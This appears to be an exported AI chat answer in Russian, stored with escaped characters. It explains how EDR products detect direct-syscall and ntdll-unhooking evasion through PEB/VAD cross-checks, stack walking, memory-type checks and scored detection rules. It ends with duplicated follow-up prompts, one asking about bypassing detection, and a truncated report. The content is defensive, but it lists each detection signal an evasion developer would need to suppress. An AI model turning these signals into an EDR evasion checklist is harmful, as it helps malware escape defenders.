\u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a:\n\nmodule integrity changed\n+\nAPI telemetry dropped\n+\nkernel events continue\n+\ncall chain changed\n\u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0441\u0438\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f.\n\n6. \u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e EDR \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442\nA. In-memory ntdll \u043f\u0440\u043e\u0442\u0438\u0432 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f\nEDR \u043c\u043e\u0436\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c:\n\nloaded ntdll .text bytes\nvs\nexpected hooked bytes\nvs\nclean image bytes\nvs\nknown-good baseline for OS build\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043e\u0431\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f:\n\nunexpected hook inserted by malware\nexpected EDR hook removed by malware\n\u0422\u043e \u0435\u0441\u0442\u044c \u00ab\u0447\u0438\u0441\u0442\u0430\u044f\u00bb \u0441\u0435\u043a\u0446\u0438\u044f \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f\u00bb. \u0415\u0441\u043b\u0438 EDR \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0445\u0443\u043a\u0438, \u0430 \u043f\u043e\u0442\u043e\u043c \u043e\u043d\u0438 \u0438\u0441\u0447\u0435\u0437\u043b\u0438 \u2014 \u044d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0430\u0433\u0435\u043d\u0442\u0430.\n\nB. PEB loader list \u043f\u0440\u043e\u0442\u0438\u0432 VAD\nPEB \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u043a\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c\u0438:\n\nPEB_LDR_DATA \u2192 InLoadOrderModuleList\nVAD \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438:\n\nVAD contains executable image-backed ntdll-like region\nbut PEB loader list does not contain corresponding module\n\u0418\u043b\u0438:\n\nexecution address belongs to VAD region\nbut not to known module\n\u042d\u0442\u043e \u043b\u043e\u0432\u0438\u0442 manual mapping, shadow mapping \u0438 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 DLL.\n\nC. Module path / signature / section type\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e executable address EDR \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442\u044c:\n\naddress \u2192 VAD \u2192 memory type \u2192 backing file \u2192 PE headers \u2192 signature \u2192 module metadata\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:\n\nntdll address:\n  MEM_IMAGE\n  signed Microsoft\n  loader-registered\n  expected base/range\n  .text RX\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nsyscall stub:\n  MEM_PRIVATE or unusual MEM_MAPPED\n  no loader metadata\n  no valid PE/unwind info\n  no normal import/load history\n7. \u041a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c: \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432 EDR\n\u0423\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u043e, \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 EDR \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u043e/\u043c\u043e\u0434\u0435\u043b\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u0432\u0438\u0434\u0430:\n\nIF\n  process performs sensitive kernel operation\nAND\n  call stack does not contain expected ntdll syscall frame\nOR\n  syscall origin is outside canonical ntdll .text\nOR\n  return address belongs to MEM_PRIVATE executable memory\nOR\n  user-mode hook telemetry missing for operation\nTHEN\n  mark as syscall bypass suspicion\n\u0414\u043b\u044f unhooking:\n\nIF\n  process maps/reads clean ntdll.dll\nAND\n  modifies protection of loaded ntdll .text to writable\nAND\n  writes to ntdll .text\nAND\n  subsequent sensitive operations lose EDR hook visibility\nTHEN\n  mark as unhooking / tamper suspicion\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u044d\u0442\u043e \u043d\u0435 \u043e\u0434\u0438\u043d if, \u0430 scoring:\n\n+ low-prevalence process\n+ suspicious parent-child lineage\n+ unsigned module involved\n+ RWX or RX private memory\n+ remote process access\n+ thread start address outside image\n+ ntdll .text modified\n+ stack missing canonical frames\n+ mismatch between ETW/kernel/user-mode telemetry\n8. \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\n\u0415\u0441\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0448\u0443\u043c\u0430:\n\nJIT-\u0434\u0432\u0438\u0436\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043a\u043e\u0434 \u0438\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438;\n\u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b, DRM \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0442\u043e\u0436\u0435 \u043f\u0430\u0442\u0447\u0430\u0442/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u044e\u0442 user-mode;\n\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0438\u043c\u0435\u044e\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 sandbox-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0430\u043b\u043b\u043e\u043a\u0430\u0442\u043e\u0440\u044b;\nAV/EDR \u0440\u0430\u0437\u043d\u044b\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432 \u043c\u043e\u0433\u0443\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439;\n\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0435 native API paths.\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0440\u0435\u043b\u044b\u0439 EDR \u043d\u0435 \u0431\u0430\u043d\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u0437\u043d\u0430\u043a. \u041e\u043d \u0438\u0449\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.\n\n9. \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430\nDirect Syscalls \u043f\u0430\u043b\u044f\u0442\u0441\u044f \u043d\u0435 \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e syscall \u201c\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u201d\n\u0421\u0430\u043c syscall \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c Windows. \u0410\u043d\u043e\u043c\u0430\u043b\u0438\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u043c:\n\nkernel event \u0435\u0441\u0442\u044c,\n\u0430 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e user-mode \u043f\u0443\u0442\u0438 \u043a \u043d\u0435\u043c\u0443 \u043d\u0435\u0442.\n\u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c:\n\napplication \u2192 kernelbase \u2192 ntdll \u2192 syscall\nEDR \u0438\u0449\u0435\u0442:\n\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e ntdll frame;\nsyscall origin \u0432\u043d\u0435 canonical ntdll .text;\nreturn address \u0432 MEM_PRIVATE RX/RWX;\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 unwind metadata;\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u0437 manually mapped \u0438\u043b\u0438 unbacked \u0440\u0435\u0433\u0438\u043e\u043d\u0430;\n\u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 user-mode hook telemetry \u0438 kernel telemetry;\n\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0431\u0435\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 API-\u0441\u043e\u0431\u044b\u0442\u0438\u0439.\nUnhooking \u043f\u0430\u043b\u0438\u0442\u0441\u044f \u043a\u0430\u043a tamper-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\n\u0421\u0430\u043c \u0444\u0430\u043a\u0442 \u00ab\u0447\u0438\u0441\u0442\u043e\u0439 ntdll\u00bb \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0432\u0438\u0434\u0435\u043d \u0438 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0435\u043d \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\nEDR \u0438\u0449\u0435\u0442:\n\n\u0434\u043e\u0441\u0442\u0443\u043f \u043a ntdll.dll \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0438\u043b\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 mapping;\n\u0432\u0442\u043e\u0440\u0443\u044e/\u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e ntdll \u0432 VAD;\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 protection \u0443 ntdll .text;\n\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0441\u0435\u043a\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 DLL;\n\u0438\u0441\u0447\u0435\u0437\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 EDR trampoline bytes;\n\u043f\u0430\u0434\u0435\u043d\u0438\u0435 user-mode \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f;\n\u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 sensitive syscalls \u0441 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0439 call-chain \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u0435\u0439.\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f\nEDR \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u043d \u00ab\u0432\u0438\u0434\u0435\u0442\u044c \u0432\u0441\u0451\u00bb \u0432 \u043e\u0434\u043d\u043e\u043c \u0441\u043b\u043e\u0435. \u0415\u0433\u043e \u0441\u0438\u043b\u0430 \u2014 \u0432 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438:\n\nUser-mode hooks\n+ ETW\n+ kernel callbacks\n+ memory map/VAD\n+ module integrity\n+ stack walking\n+ behavioral graph\n\u041e\u0431\u0445\u043e\u0434 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044e \u0432 \u0434\u0440\u0443\u0433\u043e\u043c. Direct Syscalls \u0443\u0431\u0438\u0440\u0430\u044e\u0442 user-mode hook telemetry, \u043d\u043e \u043f\u043e\u0440\u0442\u044f\u0442 \u0441\u0442\u0435\u043a \u0438 syscall origin. Unhooking \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0431\u0430\u0439\u0442\u044b ntdll, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f protection, \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 .text, \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430 \u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438.\n\n\u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u043a\u0442 \u2014 \u044d\u0442\u043e \u043d\u0435 \u00ab\u043d\u0430\u0448\u0451\u043b JMP \u0432 ntdll\u00bb \u0438 \u043d\u0435 \u00ab\u043d\u0430\u0448\u0451\u043b syscall \u0432 \u043f\u0430\u043c\u044f\u0442\u0438\u00bb, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432\u0441\u0435\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043e\u0442 user-mode \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u043e kernel-mode \u0444\u0430\u043a\u0442\u0430.\n\n\n\n\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c PEB \u0438 VAD?\n\n\n\u041c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442 \u0447\u0435\u0440\u0435\u0437 JIT-\u043a\u043e\u0434 \u0438\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0435\u0449\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c bypass?\n\n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0442 \u0430\u0442\u0430\u043a?\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c PEB \u0438 VAD?\n\n\n\u041c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442 \u0447\u0435\u0440\u0435\u0437 JIT-\u043a\u043e\u0434 \u0438\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0435\u0449\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c bypass?\n\n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0442 \u0430\u0442\u0430\u043a?\n\u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 Neon Research \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u043e\u0441\u043b\u043e\u0439\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 EDR-\u0434\u0435\u0442\u0435\u043a\u0442\u0430: PEB/VAD, JIT/\u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b, stack walking \u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Neon Research \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438?\n\n\n\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u0432 EDR\n\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0441\u0438\u0441\u0442\u0435\u043c Endpoint Detection and Response (EDR) \u043f\u043e \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u043e\u0431\u0445\u043e\u0434\u0430. \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0434\u0435\u043b\u0435\u043d\u043e \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 PEB/VAD, \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0448\u0443\u043c\u0430 JIT-\u0434\u0432\u0438\u0436\u043a\u043e\u0432 \u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0435\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 x64.\n\u041a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f PEB \u0438 \u0434\u0435\u0440\u0435\u0432\u0430 VAD\nEDR-\u0441\u0435\u043d\u0441\u043e\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044f\u0434\u0435\u0440\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \"\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\" \u0432 \u044f\u0434\u0440\u0435 \u041e\u0421. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0432 Process Environment Block (PEB) (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, InLoadOrderModuleList) \u0441 \u0434\u0435\u0440\u0435\u0432\u043e\u043c Virtual Address Descriptor (VAD) [1] [2]. \u0414\u0435\u0440\u0435\u0432\u043e VAD \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u043e\u0431\u0430\u043b\u0430\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0435\u0435\u0441\u044f AVL-\u0434\u0435\u0440\u0435\u0432\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0430\u043b\u043b\u043e\u043a\u0430\u0446\u0438\u0438 \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 [3].\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439: \u0415\u0441\u043b\u0438 \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0435\u0440\u0435\u0432\u0435 VAD \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a SEC_IMAGE (\u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b), \u043d\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u043f\u0438\u0441\u043a\u0430\u0445 PEB, EDR \u0444\u043b\u0430\u0433\u0443\u0435\u0442 \u044d\u0442\u043e \u043a\u0430\u043a \"\u043e\u0442\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f\" (module unlinking) [4].\n\u0420\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u0432\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (Reflective Loading): \u041f\u0440\u0438 \u0440\u0443\u0447\u043d\u043e\u043c \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0435 PE-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043e\u043d\u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a MEM_PRIVATE (\u0447\u0430\u0441\u0442\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c), \u0430 \u043d\u0435 MEM_IMAGE. \u041f\u043e\u0438\u0441\u043a \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \"MZ\" \u0432 \u0442\u0430\u043a\u0438\u0445 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445, \u043d\u0435 \u0447\u0438\u0441\u043b\u044f\u0449\u0438\u0445\u0441\u044f \u0432 PEB, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u043e\u0447\u043d\u044b\u043c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 [5].\n\nJIT-\u0434\u0432\u0438\u0436\u043a\u0438, \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 